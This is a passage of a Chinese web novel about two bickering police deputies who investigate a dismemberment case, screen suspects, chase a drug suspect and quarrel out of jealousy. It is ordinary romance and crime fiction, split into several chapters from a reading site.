方惜亭没把这东西扔进垃圾桶,那就是默认了对方的私人物品,是被允许出现在自己的空间范围内。 心思明显到这种地步,还敢说不是对他有心? 男人憋着没笑,好心情却无法抑制,尾巴快要翘上天的情绪疯狂向外蔓延。 方惜亭看他有病,白眼斜翻,懒做理会。 恰巧那时转角路上有红灯,他们堵在车流中。 谢序宁忽靠过来:“方惜亭同学,昨天下班,是不是偷偷在家算了一晚上装载尸块的嫌疑车辆?” 他们两人相处时间太长,过分了解对方。 哪怕不曾亲眼见到,仅靠脑补,谢序宁都能完全还原方惜亭趴在书桌前,认真分析、埋头苦算的模样。 果然那家伙冷眼瞥来,双唇紧闭,绝不答话。 谢序宁习惯了他闹别扭时,就冷处理自己的惯用手段。 于是手指伸进衣兜里,主动夹出一张折起来的白纸,晃在他眼前:“我知道你肯定算了,我也算了,而且我猜我们得到的答案一致,你要不要赌?” 赌赌赌?就知道赌?赌没完了是吧! 方惜亭一把夺过谢序宁用来挑衅自己的纸条:“赌什么?” 男人早有准备,伸出食指:“一个月的早餐,我亲自上门来吃。” 区区早餐,方惜亭不屑嗤笑,顺手也从自己的衣兜里掏出纸条,砸在那男人脸上。 谢序宁笑吟吟地拿手接住,目光不移,只紧盯着他。 直到方惜亭打开确认内容,唇角下意识翘起后,谢序宁也跟着他笑:“怎么样?” 两张纸条里的内容,都用黑笔写着“2、3”,这两辆可能存在收取过碎尸的嫌疑车辆。 范围一旦缩小,也无疑大大减缓了后续案件推进的难度。 方惜亭和谢序宁赶在8:30前准时进入办公室。 支队大案要案缠身,众人神经紧绷起来,四面八方都是忙碌的响动。 那时双方各自带组,办公区相隔不足五步远。 方惜亭刚落座,没来得及清净半秒,便听闻谢序宁那组又吵闹起来。 “已经两天了,还没确认到受害人的身份?” “派出所无符合资料,工厂里突然无故旷工的,挨个儿去查也不会?” “搜查范围都给你们单拎出来了,答案喂到嘴边也吃不下去?” “案发24小时内查不到,能不能把时间往前推三天?” 谢序宁这人,没耐心,他不是会把所有事情,全部事无巨细交代清楚的性格。 说话总有点到为止的怪癖,喜欢让人去猜,觉得说太多还得解释,实在费劲。 方惜亭早习惯了,看他跟小时候一样,对谁都不客气,活该单身。 讲题也不好好讲,翻开书觉得简单,就不停反问人家,成绩好像是要上天了。 于恒抱着资料跑过来时,视线不断打量谢序宁所在方向,和他那些排队挨骂的组员。 新人战战兢兢地坐下:“他们谢副队,好凶啊。” “凶吗?”方惜亭倒没觉得,只是嫌那家伙烦人。 身后两组闹得是鸡飞狗跳,唯独只有自己这边的组员都随了他,安静。 于恒吐吐舌头,没敢再继续吐槽,生怕哪天自己会落到谢序宁的手里。 他忙转移话题,拿着纸笔对方惜亭说:“副队,根据你的安排,我已经查到了蓝湖垃圾场那36名分拣工的详细家庭住址。” 事情是昨晚临睡前,方惜亭发短信和于恒说的。 倒没安排什么麻烦事,他也不是不近人情,肆意压榨普通警员私人休息时间的可恶副队。 只是联系厂区人事经理,要求对方根据入职信息提取家庭住址,一个电话就能解决的事。 方惜亭拿出自己事先准备好的云京市区布局图,摊开在桌上。 他先按昨天,谢序宁分析出来的抛尸区域,用红笔仔细圈出,然后再和于恒一起,挨个儿把这36人的住址在地图上标记出来。 方惜亭:“流水线36个人,只有4个不住西城区?” 剩下32个,全部都在谢序宁划出来的抛尸区域点内,这不太可能是巧合。 方惜亭紧抿着唇,专心致志,又按照自己和谢序宁计算出来的,极有可能运载过碎尸的嫌疑2、3号车的行走路径。 然后在所属线路中再次圈出了6户人家。 当时于恒看到地图分布,自然认为那4户远离抛尸区域的户主已经完全洗清嫌疑。 但不料方惜亭却十分谨慎地嘱咐:“去查一下这4个人为什么住这么远?” “啊?”不在案发区域内的人也要调查? 于恒吃惊,但不敢多问。 好在方惜亭不是谢序宁,他偏偏是那个事无巨细全部都要交代清楚的人。 “据我所知,蓝湖垃圾场建厂三十余年,没搬迁过。” “早期员工招聘,吸引的自然也应该是近处的人,家庭住址与工作地点通勤超过两小时,本身就很奇怪。” “更别说现在地铁公交那么便利,跨区上班,算下来都得好几十公里。” “要搁二三十年前,在骑自行车都算奢侈的年代,谁会费那么大的劲跑这么远来上班?” 于恒觉得有理,当即拿起电话,再次对这四个人进行详细排查。 但可惜的是:“这四个人,早年间也是住在西城区,只是后来因为各种各样的原因,比如儿子结婚要换大房子,女儿觉得西城区条件太差,所以添钱把房子置换到主城区等。” 倒也都是意外,而且分拣垃圾不是什么轻松的生计。 儿女有出息,自然也不愿意让父母再受这些苦。 只不过老一辈人艰苦惯了,做了一辈子的工作,突然让他放弃,自然也是难事。 在厂区提供宿舍的情况下,每周一次单休,折腾几个小时回趟家,倒也能接受。 方惜亭咬着笔头,思考后认为合理,也不纠结。 大笔一挥,直接把这四个人从嫌疑范围中给叉了出去。 “亭亭,吃饭了。” 因为分析案情太过认真,到了中午饭点,方惜亭才突然意识到,身后的吵闹声,不知什么时候起,竟然从支队办公室里消失了。 有同事看他用眼神在找,便告知:“谢副队听说他们组两天都查不到尸源,气得够呛。” “挨个儿把人骂一遍之后,刚才亲自带队出去找了。” 以谢序宁那性格,今天折腾下来肯定又得饿两顿。 好歹跟着自己出任务时,能在他的盯梢下吃个面包呢。 遭了那么多的罪,好不容易才养起来的胃…… 方惜亭刚觉犯愁,眉间拧起,又猛地意识到自己关心过界了。 再说谢序宁是死是活跟他有什么关系?那混蛋下次再进医院,他是绝不可能跟去照顾的。 方惜亭咬牙切齿,努力回忆起双方相处的种种不快,试图调动内心愤恨。 可双颊泛起来的滚烫,却是怎么都不受控制…… 在食堂用完午餐后,大家返回办公室,抓紧时间歇了个午觉。 然后在不大的办公区域内,又开始变得忙碌嘈杂起来。 警方已经划出了大致抛尸点,随即又提取了重要路段的各点位监控。 方惜亭带着于恒,守在电脑前看了一下午,到晚上十点,眼睛都快瞎了。 < 5. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 谢序宁并不觉得那些旖念难以启齿。 他喜欢方惜亭,是很早之前就能确认、且自己也心知肚明的事。 男人做了一晚上的梦…… 梦里雪白纤软的腰,被他两手紧握着,单人小床“嘎吱嘎吱”地响,险要被摇塌了。 与旖旎梦境一起醒来时,谢序宁发现被子全扔在自己身上。 而他身体有些明显的变化,倒是被遮挡的正好,不至于露怯,让人难堪。 方惜亭早早起了,安静在楼下做着早餐,算是兑现赌注。 他换了件酒红色印花连帽卫衣,背对客厅落地窗忙碌,露出来的耳后肌肤更显白皙。 细长的指握着汤勺勺柄,轻轻搅动锅底。 砂锅里熬煮着雪白浓稠的鲫鱼豆腐汤。 方惜亭昨夜歇得不好,尤其是谢序宁那臭狗倒头秒睡。 他像要把二楼震垮,翻来覆去,拳打脚踢,抱着被子“咕噜咕噜”,跟猫打呼噜似得。 方惜亭不堪其扰,厌烦地从床铺爬起。 结果睁眼看就到谢序宁那团鼓起来的大包,心里更烦。 谢序宁睡得四仰八叉,一点不跟他客气。 不管方惜亭偏头回避到哪个角度,余光总会瞥到对方那一丝不对劲的反应。 他实在忍受不了,索性起床洗漱。 临走前还把自己床铺卷起来的被子,全扔在谢序宁身上,遮住那碍眼的东西。 谢序宁起床下楼时,浓郁的鱼骨鲜汤,香味弥漫整个房间。 他刚坐下,没开口说话,方惜亭转身放了一碗鱼汤面在他眼前。 鱼肉残渣已被悉数捞出,只剩白色的汤底混着线面,还撒了几颗晶莹翠绿的葱花,瞧得人食指大动。 谢序宁低头吞了两口线面,冒着热气的鱼汤稍微烫口,但清爽不腻。 方惜亭盛了一碗鱼汤,坐到他面前,低头轻抿两口。 连帽卫衣敞开的衣领口处,稍微露出些凸起的锁骨。 谢序宁无意瞥见,愣了两秒,不合时宜地想起自己昨晚的梦,耳根处泛起一丝艳红。 方惜亭没注意到他的奇怪:“昨天有什么收获?” “啊?”果然一睁眼就谈工作,不解风情,谢序宁耳根处的热度极速褪下。 “查了,根据法医室提供的死亡时间,往前拉取三天,符合尸检条件的失踪人口为零,再往前拉取七天,符合尸检条件的资料共有三份。” 方惜亭问:“有匹配的吗?” “当然……”谢序宁看着他,理所当然地答:“没有。” “哪那么容易,要是查查派出所的失踪人口,就能确认尸源,凶手也不至于敢这么明目张胆的抛尸。” 就更别说还敢往碎尸块里塞手指了。 方惜亭知道谢序宁做事有条理,不可能说句“找不到”就算完。 于是他又问:“尸源确认是目前案情推进的重中之重,今天怎么安排?” “今天?”谢序宁看他一眼,有些不解。 但是突然想到什么,眉尾又微微翘起:“主动问我安排……想跟我一起?” 方惜亭白他:“尸源确认不了,我总不能坐在办公室里拿着录像带摸瞎。” 谢序宁笑起来:“想跟我一起就直说。” 男人心情不错,从衣兜里掏出一张图纸来摊开:“这是2、3号垃圾车的行驶路线图,沿途摆放的垃圾收纳站,每一个监控点位,我都用红笔做了标注。” “你们组出四个人,重新确认监控。” “重点排查手执黑色塑料袋,包裹重物往垃圾桶内抛尸的可疑人员。” “然后我们两个,负责摸排云京市各大流水线工厂,提取案发三天以内离职,或者无故旷工的人员资料。” “包括西城片区外来人口集散中心,自建群租房,私营摊贩,比如按摩店、足浴店等……这些更倾向于女性的工作岗位。” 在无法确认尸源的情况下,撒网式搜查,耗费大量人力物力,也是没办法的事。 方惜亭点头同意,两人用完早餐迅速换上便装,下楼开车、出发办公。 谢序宁提前安排,各大工厂均已收到需要配合刑侦支队办案的通知。 根据要求,警方需获取年龄在18-25岁,女性,以案发前三日起离职、或无故旷工的人员资料。 由于入职时会填写身份证号和联系电话,这也让排查工作变得稍微容易一些。 尤其划线范围越细,筛查结果就越精确。 排除云京市区部分要求较高,且岗位不常变动的技术工种外,流动性相对较高的简易流水线生产,便成为了谢序宁的重点搜查范围。 他们整整耗时四个钟,通过电子厂、服装厂、食品加工厂等近十来间大型工厂,共收集到了符合查询条件的三百来份人员资料。 入职信息拿在手上厚厚一摞,方惜亭和谢序宁当即找了间咖啡厅,落座后便开始核对人员信息。 期间要了两杯冰美式下肚,电话没打多少个,谢序宁的嗓子就冒了烟。 他有些不耐烦地按住方惜亭的手:“得了得了,这电话打没完了还,我们下午还有别的安排,哪能一直耗在这儿?” 方惜亭疑惑地偏头:可是这电话不打要怎么办呢?人员信息筛查是必须要逐一确认的。 他一口水都还没喝,倒是谢序宁,喝完自己的那杯还不够。 嚷嚷着口渴,又把他的那杯给喝了,结果电话没打两个,现在又闹起脾气来。 方惜亭嫌他烦,掏出手机扫码点单,打算再叫两杯咖啡,浇浇那祖宗一打电话就冒烟的嗓子。 谁知谢序宁察觉他的举动,伸手夺过手机:“我不是这个意思。” 方惜亭的视线冷冰冰地落在他身上,用表情告诉对方自己耐心有限。 谢序宁解释不清,索性拿他手机直接拨号:“喂,于恒,赶紧找俩人来芳草街519号转头的咖啡厅。” “对,我和你们副队下午还有安排。” “这些都是以受害人信息作为筛查条件获取的资料,我一会儿装文件袋里就交给前台。” “你们拿回去后,务必逐一确认当事人是否能够正常联络。” “如果说是本人,让她立刻报身份证号,或者家庭住址、籍贯信息等。” “要是支支吾吾答不上来,或者是遇到无法联系、电话关机、空号、无人接听的情况。” “就立刻将此人划入重点排查范围,并且向我汇报。” 他将工作安排好,准备立即进入下一环节受害人的相关信息摸排。 男人挂掉电话,怕方惜亭误会,还特意大言不惭道:“能在办公室里打打电话,看看监控,做些轻巧活儿,那帮家伙们就偷着乐吧。” 像他们这样跑外勤得多累啊,冬凉夏暖,还特费鞋。 就局里补贴的那点儿辛苦费,比不得他三餐不定、晒伤冻伤、累出来的满身病痛,进两次医院连医药费都不够倒贴的。 谢序宁外勤王者,在办公室里坐不了两分钟,要他安安静静看七八个小时的监控,简直要他的命。 方惜亭倒是刚入职,就从分析资料、比对信息、排查监控这些小事中拼出头的。 谢序宁说那些事轻松,他绝不认可。 一天静坐数十个小时,费眼、伤腰,资料得带上标点符号看,视频录像也得逐帧分析。 一个人恨不得拆成十个人用,这天底下哪有什么好活儿? 但他懒得跟谢序宁吵。 那时两人起身,排查工厂信息的工作算是告一段落。 方惜亭仔细将资料装袋密封后,出示警察证件,拜托咖啡厅前台帮忙保存文件。 然后又将于恒的警号告知对方,说是半小时之后有人会报这个号码来取,东西给他就行。 办完这部分的事情,两人才又驱车前往西城片区。 根据寻找路线范围内,所属群租房的房东确认,西城区人员混杂,流动量极大。 社会闲散人员,拖着不给房租,或者交两百定金住几天就跑的人,多不胜数。 如果要细致摸排案发三天以内,退租或偷跑的房客,恐怕比登天还难。 何况支队警力本就有限,流动人口上万的群租房内,单是房东就有百八十个。 挨个儿拎出来问话,这也得耗上五六天呢! 谢序宁正觉头疼,便瞧见刚刚还商铺附近调查的方惜亭,顶着烈日匆匆返回。 最近刚入早春,早晚温差大,两人外套扔在车上。 他们忙忙碌碌、脚不沾地,额间密起一层细密的汗。 人站在太阳底下,不出半小时就能被烤得冒油。 嫌热躲进阴凉地里,让冷风一吹,又冻得满身起鸡皮疙瘩。 方惜亭抱着笔记本匆匆赶回,累得够呛。 他拆开一瓶水,仰头往肚子里灌了大半,好不容易缓过劲儿来,一句废话没说,立刻和谢序宁传达情况。 “不行。”酒红色的卫衣袖口都被撸到了胳膊肘上方,露出一截细腻白皙的小臂。 方惜亭热得轻喘着气,连连摇头道:“找了好几家按摩店和美发店,一听说我是警察就顾左右而言他,根本问不到什么有用信息。” “还有几家店接到消息,我人还没去,店门倒是先关了。” 方惜亭简直觉得离谱,他气鼓鼓地埋怨一阵儿。 手里握着的笔记本摊开,记录着今天下午14点后的那一页儿,一个字没写。 谢序宁站在他身边,似笑非笑的目光落下来,正好被方惜亭抓到。 猫儿最烦他这幅神情,像是被人看轻了,于是眼睛鼓起来质问:“你笑什么?” 谢序宁没正面回答这个问题,反倒用自己的肩膀撞了撞方惜亭道:“喂,我说你以后要不多跟我出来跑跑外勤,别老坐在办公室里研究这个、又研究那个的。” “实践才出真知,理论知识容易被人推翻。” 方惜亭见不得他旁击侧敲,欲言又止,贱兮兮的样子。 于是肩膀一用力,又将那男人撞回去:“我们都是副队,各自带组,平起平坐,什么叫跟你出外勤,我自己出不了外勤吗?” 谢序宁肩膀又贴上来:“你那不是出得少吗,走访、摸排,你一天跑过几趟?没事就爱研究犯罪心理学,要不就是翻监控,翻资料,一坐一整天容易腰椎间盘突出。” “再说各自带组,想一起出个外勤还不简单?只要你点头,我回去就跟支队长申请,咱们两组深度绑定,以后只要有任务……” 男人说着话,那手就不规矩,手臂上摇下摆,正要搭在方惜亭肩上时。 对方便敏锐的给他一记飞眼:“手!” 谢序宁那时回神、撇嘴,又讪讪地将手落下。 他倒没藏着捏着,大方和方惜亭分享这么多年的外勤经验:“首先,廉价群租房,外来人口聚集,各行各业,龙蛇混杂,乌烟瘴气……” “正常人呢,听到警察这俩字儿不至于害怕。” “而那些不正常的,才不管你是什么警种,老远瞧着就能吓得魂飞魄散,关门跑路。” “你猜猜,这帮人是属于哪类的不正常?” 方惜亭冷冰冰地答:“能有什么不正常?无非就是涉黄、涉赌、灰色边缘产业链。” “这不挺清楚的吗?”谢序宁望了一眼远处:“这片儿,看起来还挺有问题。” 方惜亭“啧”一声:“那就更麻烦了,如果是形成产业链,18-25岁的年轻女性在红灯|区内遇害。” “被人残忍分尸,且目前头颅和四肢还未被发现,凶手又有挑衅警方的行为,如果不尽快破案,恐怕还会对其他无辜少女造成威胁。” 谢序宁也没其他更好的办法,只能叹一口气:“接着查呗。” 商铺老板不配合,那他就只能和方惜亭一起,挨家挨户按照号数做标记。 警察上门还故意关店跑路,那就只能联系工商局,根据地址查询营业许可证,再挨个儿请回局里喝茶。 而那些没有营业许可证的,则更好处理,非法经营,直接关店,也算是为民除害。 谢序宁外勤经验丰富,没有方惜亭那么礼貌客气。 他进门就把气势提起来,证件往桌子上一拍直接开始问话,根本不给寒暄的机会。 “最近有没有闻到什么奇怪的味道?” “有没有见过什么可疑的人?” “有没有听说谁家女孩儿丢了、不见了、失踪了的事?” “那有没有之前经常见到,但最近突然没再见过的年轻女性?” 商铺连续走了二十多户,其中关门躲着,避不见客的约有三四户。 谢序宁详细做好排查记录,纸页里写得密密麻麻,埋头跟着方惜亭进入下一间门店,无意瞥见对方翻开空白的那一页。 男人眉尾微挑,忽后撤半步:“这间你去问。” 他怕人多心,还特意解释:“我这笔记写的太乱,得理理。” 方惜亭疑惑往前,又听那男人不经意地叮嘱:“直接问,别跟他打招呼。” 方惜亭外勤经验确实较少。 6. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 谢序宁眼底泛起迷茫,不解地举起喝空的牛奶盒,傻乎乎坐在风里。 那样轻狂不羁的帅气间,平添一份干净纯真,神态懵懂。 方惜亭年少时期应对他的心情,男人理解不到,还没开窍。 谢序宁粗枝大叶,心不细,一闪而过的好奇心,很快也被抛诸脑后。 他大大方方伸手帮忙,把方惜亭喜欢吃的,全部推到对方眼前。 只那时被盯得紧,用餐期间咀嚼动作稍微变快,对桌祖宗就拿手开始敲桌子,教训他道:“细嚼慢咽。” 方惜亭规矩多,吃个饭都得管着他。 禁止翘腿、禁止狼吞虎咽……这以后真要凑在一起过日子,自己还不得被烦死? 谢序宁白日做梦地想了想,方惜亭以后做他媳妇儿的事。 温泉蛋被吞入口中,对面视线扫来,谢序宁怂了,不敢生吞,又乖乖默数30下。 那时心里求救,吃饭吃成上刑。 正好兜里手机震了声,谢序宁一口吞下鸡蛋:“喂?” 听筒对面没人应声,慢半拍才发现是视频短信,有些尴尬。 谢序宁轻咳:“那什么,应该是录像带里找到线索了。” 他说完话才觉得有些噎,拿手锤了两下胸口。 想喝水,又发现桌子上的牛奶早喝光了,剩下两瓶饮料也连瓶底都没剩。 唯独方惜亭手旁边,还放着半瓶矿泉水…… 谢序宁锤着胸瞧他一眼,两人对视,方惜亭有些为难地看一眼自己那水。 倒不是不舍得给他喝,但……但这是自己喝过的呀! 捶胸声变得更大一些,鸡蛋黄裹成一团堵在嗓子眼,谢序宁脸也憋得通红。 他比划着自己现在急需喝水,仓皇间打算亲自去拿。 谁知没来得及动手,方惜亭便手忙脚乱地把那水瓶拧开。 没直接给他,而是抽了纸巾,仔细将瓶口擦拭一圈后,才递过来。 谢序宁:“……”倒也不必如此见外。 方惜亭盯着谢序宁,看他仰头灌下两口凉水,把那堵在嗓子眼的蛋糊冲散下肚。 正寻思温泉蛋怎么也能噎着人的时候,又紧急接起于恒的电话:“啊?好,我知道了。” 谢序宁喝完水,又盯着他。 方惜亭告知电话内容:“说那三百余份离职资料里,有信息。” “于恒排查到一名叫严尧的女士,对方告知半年前,她有一名叫许晴晴的闺蜜,因为家庭原因被迫从服装厂离职。” “一个星期前,女孩突然联系到她,说了些私事,两个姑娘约好一起离开云京。” “根据我们排查时间的三天前,严尧按约辞职,正好符合我们的筛查条件。” “但许晴晴却突然失踪,联系不上。” 谢序宁问:“许晴晴的户口信息调出来没?” 方惜亭手机又震一下:“调出来了。” 他点开图片放大:“许晴晴,女,20岁,临江市胡云区三宝镇人。” 谢序宁:“临江市?离咱们云京得上千公里了吧。” 方惜亭点头,又敲开对话框给于恒回信:“联系当事人户籍地址所在亲属,获取最新信息。” “如果确认许晴晴失联,则立即对其直系亲属做DNA采样,与受害人碎尸进行对比。” 方惜亭火速安排下一阶段的工作。 谢序宁退至旁侧,拿手机确认了组内成员截取出来的录像片段。 由于前期,按照2、3号垃圾车的行驶路线途径,确认整条街道各探头的监控录像。 无头苍蝇般在上千个G里,大海捞针地去找那个根本不知道是谁的人。 这简直是在敲冰求火,异想天开。 于是谢序宁索性抛弃整段冗长的录像资料,只圈出有垃圾桶入境的重点监控点位。 他就专抓那些拎提多袋重物,可能存在抛尸行为的可疑份子。 改变策略后倒是卓有成效,通过一整天的视频排查。 方惜亭组负责确认监控的组员,共提取了五段监控画面,发送进入他们所在的工作群。 谢序宁逐一点开确认,看到从14-20点间,陆陆续续都有居民外出丢弃垃圾的画面。 而其中最引起他警觉的,是案发当晚19:58分,在垃圾车发车的两分钟前,一只正对着水泥墙面的垃圾桶盖被人拉开。 那人先扔用右手扔入两袋,再用左手扔入一袋。 由于监控盲区的问题,对方完美躲避,只露出一双掩在黑色长袖里的半截手指。 谢序宁来来回回,把这段仅有4秒的视频录像反复观看数十遍。 他正打算,把该点位监控后方区域再圈出来,重新排查时。 谁知没来得及掏出笔,忽闻有人大喊:“站住,别跑!” 谢序宁抬头,一道黑影迅速从他眼前闪过。 男人被撞了下,手机落地,双脚往后踉跄两步,大腿撞在桌子上,砸得生疼。 他刚想骂,是哪个不长眼的? 就瞧见身后追来一名气喘吁吁、面色苍白、快要体力不支却还坚持追捕的女民警。 草,能他妈被警察追? 谢序宁当即得知,撞在自己身上那货不是什么好东西。 于是问也没问,拔腿便追上去。 事发突然,方惜亭一时没反应过来。 他原想支援谢序宁追捕,可没追出两步,就见那女民警跌了一跤,摔倒在地。 方惜亭猛刹一脚,转头来扶:“没事吧。” 女警喘不过气,又催促着:“吸、吸毒,快去帮忙。” 方惜亭看一眼空荡荡的巷子口,谢序宁早跑没影了。 那家伙从小玩跑酷的,又喜欢跳伞、滑雪、山地骑行,也系统地学习过格斗和擒拿,体力这方面没得说。 单纯1v1对抗,谢序宁没输过。 方惜亭倒不担心他,伸手搀了女警一把:“没摔伤吧,还能不能走?” 对方听他声音耳熟,抬眼起来才觉得惊喜:“方副队?怎么是你?” 那吸毒嫌犯今天撞上谢序宁,算他倒霉。 虽然男人不常在群租房周围活动,但这几日办理案情,路线都是研究透了的。 两条街连追出去,谢序宁根本没费什么劲。 中途绕了近路,从小道里穿行而出,飞扑上前将人踹翻在地,又拿膝盖抵着他背脊。 完全无视对方“嗷嗷”喊疼的声音,自己从腰后摸出一副银手镯,手法熟练地将他反铐。 谢序宁揪着那小子折返,却见方惜亭与那女民警挨坐一处,谈笑风生,半点没担心他。 谢序宁:“……” 真行啊!也不寻思寻思过来帮忙。 就聊上了还? 女民警与方惜亭有说有笑,她该是摔伤了,桌子上还放了止血带和散淤喷雾等…… 挽起来的裤腿,膝盖上有绷带缠绕,打结手法熟练,竟然还帮人包扎了? 谢序宁两道眉峰斜插入鬓,模样凶得能吃人。 女民警见他抓到人返回,惊喜站起:“今天幸好遇到两位副队,不然还得让他跑了。” 方惜亭笑着鼓励:“你跑得很快,如果不是意外摔了,肯定也能追上。” 谢序宁恨得咬牙:“……”话都让你说了是吧。 女民警显得羞赧,又同谢序宁道:“把人给我吧,麻烦两位帮忙,还蹭了方副队一顿饭,真是不好意思。” 谢序宁:“……”什么?还吃了他的饭? 好你个方惜亭,真行啊,拿他买的东西做人情,他还没吃完呢! 方惜亭:“我开车送你回去。” 女民警忙摇手:“不用不用,我们辖区派出所就在附近。” 方惜亭看一眼那神智不清的吸毒嫌犯,又指了下她裹着纱布的膝盖:“伤了,别逞强,正好我们也要走,带你顺路。” 女民警推脱不过,只好应下。 那时将人送上车,方惜亭正要从右后座绕到主驾驶,却忽然被谢序宁按在车门外。 方惜亭疑惑:“?” 谢序宁朝他伸手:“车钥匙给我。” 方惜亭:“怎么了?” 谢序宁:“给我。” 方惜亭不知道谢序宁莫名发的什么脾气,但自己开一天车也确实累了。 于是把钥匙从衣服兜里摸出来,放人手心后,谢序宁才松开按住他肩膀的手,气冲冲朝主驾驶位走去。 方惜亭坐进副驾驶,发现座位被谢序宁调过后,前排留出很大一截空处。 他问后排:“挤不挤?要不要我把椅子往前挪点?” 谢序宁一脚油门踩出去,方惜亭话没问完,人倒是先往座椅靠背处砸了一下。 他完全确认谢序宁就是故意的,但偏偏不知道对方又在冲他撒什么气? 不满的视线瞪在男人身上,两个人心里都憋着火儿。 车内氛围沉默下来,没人说话,女民警看着车台摆件里的照片,还以为这车是谢序宁的。 车窗外斑驳的路灯光影,从方惜亭的脸侧划过。 忽然手机轻震一下,他掏出来看:【方副队,能不能把你旁边那位帅哥的微信推我,拜托.jpg】 车内只有操作行驶,以及乘客的轻微呼吸声响起。 方惜亭手指握着机身:【抱歉,我可能得先征求他的同意……】 那时字没打完,偏头瞧了眼谢序宁不近人情,冷酷紧绷的侧脸轮廓。 方惜亭轻出口气,知道这时候主动跟他说话,就是没事找事、火上浇油。 他不愿意吵架,觉得那男人莫名其妙,自己心里也委屈。 再说他没做错什么?谢序宁发这么大脾气给谁看? 方惜亭心里不痛快,索性找到名片,直接点了推送。 他们把女民警送到派出所,对方得到了谢序宁的联系方式,整得人都显得欣喜。 她靠在副驾车窗处,热情地向方惜亭表示了很长时间的感谢,期间还不停偷瞥冷脸的谢序宁。 等再调头回家时,车内只剩两人,气氛更显沉闷起来。 谢序宁油门踩得深,车速猛提,恨不得把“我很不爽”这四个大字,贴在脑门上。 但方惜亭从来也不是会关心他,哄他的性格…… 20分钟后到达停车场,下车时,谢序宁赌气取走了自己的车台摆件。 方惜亭想问他发什么神经,但刚追下来,男人顺手把车钥匙抛给他,又“噹”地声,把照片扔进垃圾桶里。 方惜亭:“……”吃撑了吧这是。 他从没惯着过谢序宁,这火药桶一样一点就着的脾气。 那时思虑片刻,往前走的步子停下来,还是转头在垃圾桶里,捡起了那臭狗的毕业警服照。 方惜亭追上楼去,想着谢序宁会不会故技重施,继续厚着脸皮在他家蹭住。 不料到那男人装也不装,直接掏钥匙开门,当着他面,把那房门摔得震天响。 方惜亭站在门外,嘴里嘟囔着:“……你是真有病吧。” 猫儿懒得理会,转头回家,刚拧开锁口,又折返回来把那摆台扔在谢序宁门外。 谁惯着他? 方惜亭回家热了汤,给自己当做宵夜。 洗完澡回到二楼书桌前,整理了今天的办案线索。 到凌晨1点时熄灯休息,没睡几个小时。 大概凌晨3点到4点间,组内的电话就打过来。 方惜亭睡眼迷蒙,挣扎着从床上爬起:“什么?好,我马上过来。” 他着急走,下楼时脚踝缠着充电线,拉翻了床头柜摆放的大片杂物。 人踉跄两步,摔了下,但不严重,只是膝盖青了。 手指随意扯开缠绕的电线,没时间整理,仓促出门,赶往市局办公。 谢序宁门口的照片还在,方惜亭出门时随意瞥了眼,也没上心。 没有早高峰的拥堵,不足半小时,方惜亭赶往办公室。 于恒着急等在门口,方惜亭一到,他立马举着资料跟来汇报:“副队,我们昨天排查到的严尧,原本是今天下午16点的火车票离开云京。” “当时时间有些晚了,再加上你和谢副队都不在。” “我们就约了她今天早上9点,到市局配合调查。” “事情原本答应的好好,结果安排在她家附近盯岗的同事发回信息,说这人半夜拎着箱子从家跑了。” “再通过铁路局的购票系统查询,我们发现在联系到她后不久,她就把自己的车票改签到了今天早上8点。” 方惜亭看一眼腕表:“现在5点不到,她人在哪?” 于恒说:“先在家门口附近取了一大笔现金,然后骑着共享单车直接到火车站了。” 8点的车,5-6点就到火车站等着了? 方惜亭往楼上走:“别等了,让蹲守的同事立即动手,把人带回来。” 办公室留守加班的人还不少。 方惜亭刚进门,又有人迎上来:“亭亭,根据要求,我们确认了两百多份涉及分尸碎尸的相关案件,其中手法类似的资料共有三份。” 方惜亭接过文件,落座翻阅。 杀人分尸,在刑事案件中并不罕见。 但本案的特殊点在于分尸手法纯熟,剥皮剔骨,碎肉切成整齐的大小块。 细腻到连油脂和皮肉都做了分离,绝非首次犯案。 而同事提取到的相关案情,也都是悬而未破的陈年旧案。 受害人身份不一,但年龄均为25岁以下的年轻女性,死状惨烈。 本案目前只找到了,被遗弃到垃圾桶的碎肉。 但根据前期记录,曾有类似案例是先发现碎肉,再发现一张完整的人皮,其次是埋进深山里的人体骨骼…… 受害人的头发都是带着整张头皮揭下,还用红绳扎了辫子,贴上黄符。 再装进点了鸡血的木盒,钉了桃木钉,掩埋碎尸周围似乎还有做法封印的痕迹,看起来凶手是个极为讲究风水之人。 在间隔数年里,曾出现好几桩类似的分尸手法。 方惜亭发现 7. 刑侦:黎明之后 《刑侦:黎明之后》全本免费阅读 支队免费的5A风景区,吸引了各大部门同事纷纷上前打卡留念。 支队长为了教训、也让他们两个长点记性,主动打开办公室大门,由人随意进入参观。 幸灾乐祸的偷笑声不绝于耳。 谢序宁侧身背对,头拧过去,又牵着方惜亭的手,心里酸成一团。 方惜亭烦他、不待见他……难道他就不委屈吗? 因为担心方惜亭肚子饿,所以一路狂奔买来那么多好吃的,他都想着对方的口味。 拿回来让方惜亭先挑,直到瞧人填饱肚子了,剩下的他才开始扫尾清理。 结果方惜亭一点没想着他,就追个涉毒人员的功夫,折返回来,家被偷了。 还有伤口那事儿,是他无理取闹吗? 人家女警伤的是膝盖,他帮忙包扎,深蓝色的裤腿卷起来,那么隐私亲密的部位,动手期间难免碰到。 仅仅只是手指接触,谢序宁就嫉妒地快要发疯。 就更别说包扎过程中,需要蹲下身来靠近,呼吸交递间,可能还会碰到大腿、小腿…… 啊啊啊啊啊啊啊啊! 谢序宁越想越伤心,尤其方惜亭的车,他第一次坐,都没敢乱动对方调好的位置和摆设。 自己好不容易得到了长期搭乘权,花时间把副驾驶调到了最适合自己的大小角度。 结果方惜亭为了别人,不顾他的感受,说动就动。 怕挤着人家,就要把他的位置往前挪。 那个小没良心的,之前自己坐下去连腿都伸不开,他怎么也不关心关心? 两人牵手半小时,市局内部打卡照满天飞。 朋友圈配图文案全是:“哈哈哈哈哈哈哈,爆笑如雷了家人们。” 支队工作忙,案情进展推动缓慢,支队长拿着文件双手负后,表情严肃地回来审查:“知道错了没有?” “吵吵闹闹不成样子,让别人看笑话,丢我们刑侦支队的脸。” “下次胆敢再犯,就给我站到市局门口去牵一整天的手。” “滚回去办案。” 那时两人手才撒开,都像甩瘟神似得,丢完还拍了拍。 于恒等着方惜亭返回,迎上去问:“没事吧,副队。” 他能有什么事?除了丢脸…… 于恒没主动邀功,告诉方惜亭是自己找到支队长,说案情办理有进展,但方副队不在他们做不了决定。 所以那两人才被临时中止惩罚,放了出来。 方惜亭是真被气得不轻,回到工位缓了十来分钟的劲儿,才问:“查到哪一步了?” 于恒坐下来:“技术部门没有查到手机里有所谓的监听装置。” 